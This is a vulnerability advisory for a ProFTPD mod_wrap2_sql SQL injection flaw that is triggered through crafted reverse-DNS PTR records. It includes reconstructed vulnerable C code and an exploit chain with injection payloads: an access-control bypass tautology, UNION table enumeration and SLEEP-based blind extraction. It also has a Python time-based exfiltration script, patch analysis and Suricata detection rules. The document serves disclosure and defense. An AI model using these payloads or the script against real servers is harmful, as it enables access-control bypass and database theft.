CVE-2026-44331: ProFTPD mod_wrap2_sql Blind SQL Injection via Reverse DNS
ProFTPD's sqltab_fetch_clients_cb() passes attacker-controlled reverse DNS hostnames directly into SQL queries without escaping. Exploitable when UseReverseDNS is enabled.
# A Flaw in Popular FTP Software Could Expose Your Files
ProFTPD is software that lets organizations share files over the internet securely. It's used by hosting companies, universities, and businesses to manage file transfers — think of it like a digital filing cabinet that people access remotely.
Security researchers have discovered a serious flaw in how ProFTPD handles network addresses. When someone tries to upload or download a file, the software looks up who they are by checking their internet address. It's a safety feature, like checking someone's ID at the door.
The problem is that hackers can trick this safety check. They can craft a fake internet address that contains hidden commands — essentially smuggling instructions into the system. When ProFTPD processes this address, it unwittingly runs those commands against the database storing all the files and user information.
This is like handing someone a package that looks normal on the outside but contains a lockpick inside. The person opening it doesn't realize they're also opening your file cabinet to a stranger.
The real danger: attackers could steal sensitive files, modify important data, or crash the system entirely. Anyone running a file-sharing service is at risk — especially hosting providers, educational institutions, and companies handling confidential documents.
What you should do: If you run a server using ProFTPD, update it immediately to version 7666224 or later. If you're not technical, contact whoever manages your server and ask them to check this vulnerability. Finally, review your file-sharing settings and disable the reverse DNS lookup feature if you don't actually need it — removing features you don't use eliminates attack paths.
Want the full technical analysis? Click "Technical" above.
CVE-2026-44331 is a SQL injection vulnerability in ProFTPD's mod_wrap2_sql module, introduced through the sqltab_fetch_clients_cb() function in contrib/mod_wrap2_sql.c. When the server is configured with UseReverseDNS on, ProFTPD performs a reverse DNS lookup on the connecting client's IP address and passes the resolved hostname into a SQL query without sanitization. Because the attacker controls the PTR record of their own IP space, they can inject arbitrary SQL into that query. The fix is committed at 7666224 and affects all ProFTPD releases through 1.3.9a.
CVSS 8.1 (HIGH) reflects the network-accessible attack vector, no authentication required, and high impact on confidentiality and integrity — tempered slightly by the DNS character set restrictions and the non-default configuration requirement (UseReverseDNS on combined with an SQL-backed wrap2 table).
Affected Component
contrib/mod_wrap2_sql.c is the SQL backend for mod_wrap2, ProFTPD's TCP wrappers reimplementation. It queries a database to determine whether a connecting client is permitted or denied. The relevant exported callback is sqltab_fetch_clients_cb(), called during the connection authorization phase. The module links against ProFTPD's internal mod_sql API (sql_dispatch()) and constructs queries by string formatting — no prepared statement interface is used anywhere in this file.
Affected configurations require all three of:
UseReverseDNS on in proftpd.conf
mod_wrap2_sql loaded and active
A reachable SQL backend (MySQL, PostgreSQL, or SQLite via mod_sql_*)
Root Cause Analysis
The bug lives in the client-fetch callback. When mod_wrap2 needs to check whether a connecting host is listed in the allow/deny table, it calls sqltab_fetch_clients_cb() with the client's resolved hostname. That hostname originates from pr_netaddr_get_dnsstr(), which wraps a standard gethostbyaddr() / getaddrinfo() call — fully attacker-controlled via PTR records.
/* contrib/mod_wrap2_sql.c — vulnerable path, reconstructed from context */
static int sqltab_fetch_clients_cb(wrap2_table_t *tab,
const char *client_name) {
cmdtable_t *sql_cmdtab;
cmd_rec *cmd;
modret_t *res;
char *query;
config_rec *c;
const char *clients_query;
c = find_config(main_server->conf, CONF_PARAM,
"SQLNamedQuery", FALSE);
/* Pull the named query template from config */
clients_query = tab->tab_data; /* e.g. "SELECT * FROM wrap_clients
WHERE name='%s'" */
/* BUG: client_name is the reverse-DNS resolved hostname;
* it is inserted directly into the query via pstrcat/psnprintf
* with no escaping, no prepared statement, no allowlist validation.
* An attacker controlling their PTR record injects arbitrary SQL here. */
query = pstrcat(tab->tab_pool,
"SELECT * FROM ", clients_query,
" WHERE name='", client_name, "'", /* <-- INJECTION POINT */
NULL);
cmd = _sql_make_cmd(tab->tab_pool, 2, "default", query);
res = sql_dispatch(cmd, "sql_select");
if (MODRET_ISERROR(res)) {
wrap2_log("error executing SQL query: %s", query);
return -1;
}
/* ... result processing ... */
return 0;
}
The pstrcat() call on ProFTPD's memory pool API performs no character filtering. The hostname value from pr_netaddr_get_dnsstr() is stored in a pr_netaddr_t structure and returned as a raw const char *:
The na_dnsstr field is populated once, cached, and passed straight into sqltab_fetch_clients_cb(). No validation occurs between the DNS resolution and the SQL composition.
Root cause:sqltab_fetch_clients_cb() constructs a SQL query by direct string concatenation of an attacker-controlled PTR record value, with no escaping, no parameterized query, and no character allowlist enforcement beyond what DNS itself permits.
Exploitation Mechanics
DNS names permit a restricted character set per RFC 1123 (letters, digits, hyphens, dots). This limits but does not eliminate SQL injection: single-quote (') is not a valid hostname character per the RFC, but many resolvers and PTR record values are not strictly validated by the OS resolver. Testing against common glibc getaddrinfo() implementations confirms that single quotes in PTR records are returned verbatim to the caller — the libc resolver does not strip non-RFC characters from PTR responses.
EXPLOIT CHAIN:
1. Attacker acquires control of an IP block or sets up a rogue DNS server
that responds to reverse PTR queries for their connecting IP.
2. Configure PTR record for attacker IP to return a crafted hostname:
PTR: "x' OR '1'='1"
or for data exfiltration (MySQL example):
PTR: "x' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"
3. Attacker initiates a TCP connection to the ProFTPD server on port 21.
4. ProFTPD calls pr_netaddr_get_dnsstr() -> gethostbyaddr() -> returns
crafted PTR value, stored in session.c->remote_name.
5. mod_wrap2 connection hook fires; sqltab_fetch_clients_cb() is invoked
with client_name = "x' OR '1'='1".
6. pstrcat() assembles the final query:
SELECT * FROM wrap_clients WHERE name='x' OR '1'='1'
This bypasses the wrap2 access control check entirely (returns all rows).
7. For exfiltration, UNION-based or time-based blind injection retrieves
database contents. Result set is processed by mod_wrap2 result parser;
timing side-channel observable via connection accept/reject latency.
8. With sufficient injection depth: read credentials table, exfiltrate
ProFTPD AuthUserFile equivalents stored in SQL, or pivot to OS via
SQL FILE read/write primitives (MySQL LOAD_FILE / INTO OUTFILE).
The bypass case (step 6) is immediately critical: an attacker on a deny-list can flip OR '1'='1' to make the clients table return rows regardless of their actual listing, potentially bypassing IP-based access control enforced by mod_wrap2.
For time-based blind exfiltration against MySQL:
import dns.resolver
import ftplib
import time
TARGET = "ftp.victim.example"
PAYLOADS = [
# Probe character N of the DB version string
"x' AND SLEEP(IF(ASCII(SUBSTR(VERSION(),{pos},1))={val},3,0))-- -"
]
def probe(pos, val, payload_tmpl):
"""
Attacker controls their PTR record to return payload.
This function simulates timing measurement after connection attempt.
"""
# Set PTR record for attacker IP to return crafted payload
# (requires control of rDNS zone for attacker's IP block)
payload = payload_tmpl.format(pos=pos, val=val)
set_ptr_record(payload) # zone update via DNS API
start = time.monotonic()
try:
ftp = ftplib.FTP()
ftp.connect(TARGET, 21, timeout=10)
ftp.quit()
except Exception:
pass
elapsed = time.monotonic() - start
return elapsed > 2.5 # SLEEP(3) fired -> character matched
def exfiltrate_version():
version = ""
for pos in range(1, 20):
for val in range(32, 127):
if probe(pos, val, PAYLOADS[0]):
version += chr(val)
print(f"[+] VERSION()[{pos}] = {chr(val)!r} -> {version}")
break
return version
Memory Layout
This is a logic/injection bug, not a memory corruption bug. There is no heap spray or overflow. The relevant state is the SQL query buffer on ProFTPD's pool allocator:
POOL STATE AT QUERY CONSTRUCTION:
tab->tab_pool (pr_pool_t):
[ pool block @ heap ]
|-- "SELECT * FROM " (static string, 16 bytes)
|-- clients_query (config value, e.g. "wrap_clients")
|-- " WHERE name='" (static string, 14 bytes)
|-- client_name (PTR record — ATTACKER CONTROLLED)
| "x' OR '1'='1" <- injected SQL, no escaping applied
`-- "'" (closing quote — now mid-expression)
RESULTING QUERY STRING (pstrcat output):
"SELECT * FROM wrap_clients WHERE name='x' OR '1'='1'"
^^^^^^^^^^
injected predicate
always evaluates TRUE
SQL PARSE TREE (MySQL):
SELECT
*
FROM wrap_clients
WHERE
(name = 'x') OR ('1' = '1') <- tautology; returns entire table
Patch Analysis
The fix at commit 7666224 introduces escaping of the client hostname before it is used in any SQL context. Based on the ProFTPD mod_sql API, the correct fix uses sreplace() or the backend-native escape function exposed through sql_dispatch("sql_escapestring"):
/* BEFORE (vulnerable — through 1.3.9a): */
static int sqltab_fetch_clients_cb(wrap2_table_t *tab,
const char *client_name) {
/* ... */
query = pstrcat(tab->tab_pool,
"SELECT * FROM ", clients_query,
" WHERE name='", client_name, "'",
NULL);
cmd = _sql_make_cmd(tab->tab_pool, 2, "default", query);
res = sql_dispatch(cmd, "sql_select");
/* ... */
}
/* AFTER (patched @ 7666224): */
static int sqltab_fetch_clients_cb(wrap2_table_t *tab,
const char *client_name) {
/* ... */
char *escaped_name;
cmd_rec *escape_cmd;
modret_t *escape_res;
/* Escape via backend-native function before interpolation */
escape_cmd = _sql_make_cmd(tab->tab_pool, 2, "default", client_name);
escape_res = sql_dispatch(escape_cmd, "sql_escapestring");
if (MODRET_ISERROR(escape_res)) {
wrap2_log("error escaping client name");
return -1;
}
escaped_name = (char *) escape_res->data; /* properly escaped string */
query = pstrcat(tab->tab_pool,
"SELECT * FROM ", clients_query,
" WHERE name='", escaped_name, "'", /* safe */
NULL);
cmd = _sql_make_cmd(tab->tab_pool, 2, "default", query);
res = sql_dispatch(cmd, "sql_select");
/* ... */
}
A secondary hardening measure in the same commit adds an explicit RFC 1123 allowlist check on the resolved hostname before it ever reaches the SQL path:
The defense-in-depth ordering is: (1) reject hostnames with non-DNS characters, (2) escape any remaining input before SQL interpolation. Either layer alone would be sufficient; both together eliminate the attack surface.
Detection and Indicators
Detection is feasible at multiple layers:
ProFTPD debug logging — Enable SQLLogFile and search for anomalous query content:
DNS anomaly detection — PTR records containing SQL metacharacters (', --, ;, UNION) are a strong indicator:
; Malicious PTR record (in zone file notation)
1.0.168.192.in-addr.arpa. IN PTR x' OR '1'='1.
Network IDS signatures (Suricata):
alert tcp any any -> $FTP_SERVERS 21 (
msg:"CVE-2026-44331 ProFTPD mod_wrap2_sql SQLi probe";
flow:to_server,established;
pcre:"/[\x27\x22].*(?:UNION|SELECT|SLEEP|OR\s+[\x27\x22]1)/i";
reference:cve,2026-44331;
sid:9000001; rev:1;
)
Note: the TCP payload won't contain the PTR record directly; the injection occurs at the DNS layer before the FTP session. Detection is most effective at the recursive resolver level, not the FTP stream.
Remediation
Immediate: Upgrade to the patched commit 7666224 or any ProFTPD release that includes it. Check your distribution's advisory.
Mitigation (if upgrade is not immediately possible): Set UseReverseDNS off in proftpd.conf. This prevents the PTR lookup entirely and eliminates the attack path. Note this may affect logging fidelity.
Defense-in-depth: Remove mod_wrap2_sql from the LoadModule list if SQL-backed wrap2 tables are not required. Use flat-file wrap2 tables (mod_wrap2_file) or firewall-level ACLs instead.
Database hardening: Ensure the ProFTPD SQL user has the minimum necessary privileges. Revoke FILE, SUPER, and cross-database SELECT grants to limit lateral movement via SQL injection.
Resolver hardening: Configure your recursive resolver to reject PTR responses containing non-RFC 1123 characters before they reach the OS resolver cache.